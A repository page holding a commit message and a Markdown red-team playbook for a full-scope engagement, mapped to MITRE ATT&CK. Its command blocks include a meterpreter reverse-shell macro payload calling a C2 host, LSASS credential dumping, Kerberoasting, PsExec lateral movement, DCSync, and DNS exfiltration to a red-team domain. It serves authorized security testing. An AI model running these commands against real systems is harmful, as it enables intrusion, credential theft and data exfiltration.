mirror of
https://github.com/SHOGGOTH-SECTOR/sica-fondt.git
synced 2026-08-01 16:40:24 +00:00
Place useful parts of the surrounding repos into sica-fondt by layer, per the
body model (Ada = membrane; brain/endocrine/capabilities/knowledge non-Ada):
- brain/ LLM reasoning + providers (dapr, hermes, MoMoA)
- capabilities/ REPRAG sidecars: hermes tools/skills, dapr tools, parallel
dispatch, A51 channels, and the OSINT cluster
- knowledge/ LORAG corpus: 754 cyber-skills, agency personas, secure-coding,
MITRE ATT&CK data
- reference/ defensive threat-reference (C3, shhbruh doc) + AdaYaml parser
License handling: AGPL sources (worldosint, advanced_evolution, mercury,
Reticulum) and GPL DeTTECT are SPEC-only clean-room/port descriptions — no
copyleft code copied. MIT/Apache/data parts copied as working trees.
Safety: shhbruh escape/persistence material and C3 covert-C2 kept as reference
only, not wired into the running organism. See CONSOLIDATION.md.
https://claude.ai/code/session_01UehUqEXXJJCsHoA4voCU5c
199 lines
7.4 KiB
Markdown
199 lines
7.4 KiB
Markdown
---
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name: conducting-full-scope-red-team-engagement
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description: Plan and execute a comprehensive red team engagement covering reconnaissance through post-exploitation using
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MITRE ATT&CK-aligned TTPs to evaluate an organization's detection and response capabilities.
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domain: cybersecurity
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subdomain: red-teaming
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tags:
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- red-team
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- adversary-emulation
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- mitre-attack
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- penetration-testing
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- offensive-security
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- purple-team
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- ttp-mapping
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version: '1.0'
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author: mahipal
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license: Apache-2.0
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d3fend_techniques:
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- File Metadata Consistency Validation
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- Application Protocol Command Analysis
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- Identifier Analysis
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- Content Format Conversion
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- Message Analysis
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nist_csf:
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- ID.RA-01
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- GV.OV-02
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- DE.AE-07
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---
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# Conducting Full-Scope Red Team Engagement
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## Overview
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A full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs).
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## When to Use
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- When conducting security assessments that involve conducting full scope red team engagement
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- When following incident response procedures for related security events
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- When performing scheduled security testing or auditing activities
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- When validating security controls through hands-on testing
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## Prerequisites
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- Written authorization (Rules of Engagement document) signed by executive leadership
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- Defined scope including in-scope/out-of-scope systems, escalation contacts, and emergency stop procedures
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- Threat intelligence on relevant adversary groups (e.g., APT29, FIN7, Lazarus Group)
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- Red team infrastructure: C2 servers, redirectors, phishing domains, payload development environment
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- Legal review confirming compliance with Computer Fraud and Abuse Act (CFAA) and local laws
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## Engagement Phases
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### Phase 1: Planning and Threat Modeling
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Map the engagement to specific MITRE ATT&CK tactics and techniques based on the threat profile:
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| Kill Chain Phase | MITRE ATT&CK Tactic | Example Techniques |
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|---|---|---|
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| Reconnaissance | TA0043 | T1593 Search Open Websites/Domains, T1589 Gather Victim Identity Info |
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| Resource Development | TA0042 | T1583.001 Acquire Infrastructure: Domains, T1587.001 Develop Capabilities: Malware |
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| Initial Access | TA0001 | T1566.001 Spearphishing Attachment, T1078 Valid Accounts |
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| Execution | TA0002 | T1059.001 PowerShell, T1204.002 User Execution: Malicious File |
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| Persistence | TA0003 | T1053.005 Scheduled Task, T1547.001 Registry Run Keys |
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| Privilege Escalation | TA0004 | T1068 Exploitation for Privilege Escalation, T1548.002 UAC Bypass |
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| Defense Evasion | TA0005 | T1055 Process Injection, T1027 Obfuscated Files |
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| Credential Access | TA0006 | T1003.001 LSASS Memory, T1558.003 Kerberoasting |
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| Discovery | TA0007 | T1087 Account Discovery, T1018 Remote System Discovery |
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| Lateral Movement | TA0008 | T1021.002 SMB/Windows Admin Shares, T1550.002 Pass the Hash |
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| Collection | TA0009 | T1560 Archive Collected Data, T1213 Data from Information Repositories |
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| Exfiltration | TA0010 | T1041 Exfiltration Over C2 Channel, T1048 Exfiltration Over Alternative Protocol |
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| Impact | TA0040 | T1486 Data Encrypted for Impact, T1489 Service Stop |
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### Phase 2: Reconnaissance (OSINT)
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```bash
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# Passive DNS enumeration
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amass enum -passive -d target.com -o amass_passive.txt
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# Certificate transparency log search
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python3 -c "
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import requests
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url = 'https://crt.sh/?q=%.target.com&output=json'
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r = requests.get(url)
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for cert in r.json():
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print(cert['name_value'])
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" | sort -u > subdomains.txt
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# LinkedIn employee enumeration
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theHarvester -d target.com -b linkedin -l 500 -f harvest_results
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# Technology fingerprinting
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whatweb -v target.com --log-json=whatweb.json
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# Breach data credential search (authorized)
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h8mail -t target.com -o h8mail_results.csv
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```
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### Phase 3: Initial Access
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Common initial access vectors for red team engagements:
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**Spearphishing (T1566.001):**
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```bash
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# Generate payload with macro
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msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba
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# Set up GoPhish campaign
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# Configure SMTP profile, email template with pretexted lure, and landing page
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gophish --config config.json
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```
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**External Service Exploitation (T1190):**
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```bash
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# Scan for vulnerable services
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nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan
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# Exploit known CVE (example: ProxyShell CVE-2021-34473)
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python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com
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```
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### Phase 4: Post-Exploitation and Lateral Movement
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```powershell
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# Situational awareness (T1082, T1016)
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whoami /all
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systeminfo
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ipconfig /all
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net group "Domain Admins" /domain
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nltest /dclist:target.com
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# Credential harvesting from LSASS (T1003.001)
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# Using Havoc C2 built-in module
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dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords
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# Kerberoasting (T1558.003)
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Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt
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# Lateral movement via WMI (T1047)
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wmiexec.py domain/user:password@target-dc -c "whoami"
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# Lateral movement via PsExec (T1021.002)
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psexec.py domain/admin:password@fileserver.target.com
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```
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### Phase 5: Objective Achievement
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Define and pursue specific objectives:
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1. **Domain Dominance**: Achieve Domain Admin access and DCSync credentials
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2. **Data Exfiltration**: Locate and exfiltrate crown jewel data (e.g., PII, financial records)
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3. **Business Impact Simulation**: Demonstrate ransomware deployment capability (without execution)
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4. **Physical Access**: Badge cloning, tailgating, server room access
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```bash
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# DCSync attack (T1003.006)
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secretsdump.py domain/admin:password@dc01.target.com -just-dc-ntlm
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# Exfiltration over DNS (T1048.003)
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dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t
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```
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### Phase 6: Reporting and Debrief
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The report should include:
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1. **Executive Summary**: Business impact, risk rating, key findings
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2. **Attack Narrative**: Timeline of activities with screenshots and evidence
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3. **MITRE ATT&CK Mapping**: Full heat map of techniques used
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4. **Findings**: Each finding with CVSS score, evidence, remediation
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5. **Detection Gap Analysis**: What the SOC detected vs. what was missed
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6. **Purple Team Recommendations**: Specific detection rules for gaps identified
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## Metrics and KPIs
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| Metric | Description |
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| Mean Time to Detect (MTTD) | Average time from action to SOC detection |
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| Mean Time to Respond (MTTR) | Average time from detection to containment |
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| TTP Coverage | Percentage of executed techniques detected |
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| Objective Achievement Rate | Percentage of defined objectives completed |
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| Dwell Time | Total time red team maintained access undetected |
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## Tools and Frameworks
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- **C2 Frameworks**: Havoc, Cobalt Strike, Sliver, Mythic, Brute Ratel C4
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- **Reconnaissance**: Amass, Recon-ng, theHarvester, SpiderFoot
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- **Exploitation**: Metasploit, Impacket, CrackMapExec, Rubeus
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- **Post-Exploitation**: Mimikatz, SharpCollection, BOF.NET
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- **Reporting**: PlexTrac, Ghostwriter, Serpico
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## References
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- MITRE ATT&CK Framework: https://attack.mitre.org/
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- Red Team Guide: https://redteam.guide/
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- PTES (Penetration Testing Execution Standard): http://www.pentest-standard.org/
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- TIBER-EU Framework for Red Teaming: https://www.ecb.europa.eu/paym/cyber-resilience/tiber-eu/
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- CBEST Intelligence-Led Testing: https://www.bankofengland.co.uk/financial-stability/financial-sector-continuity
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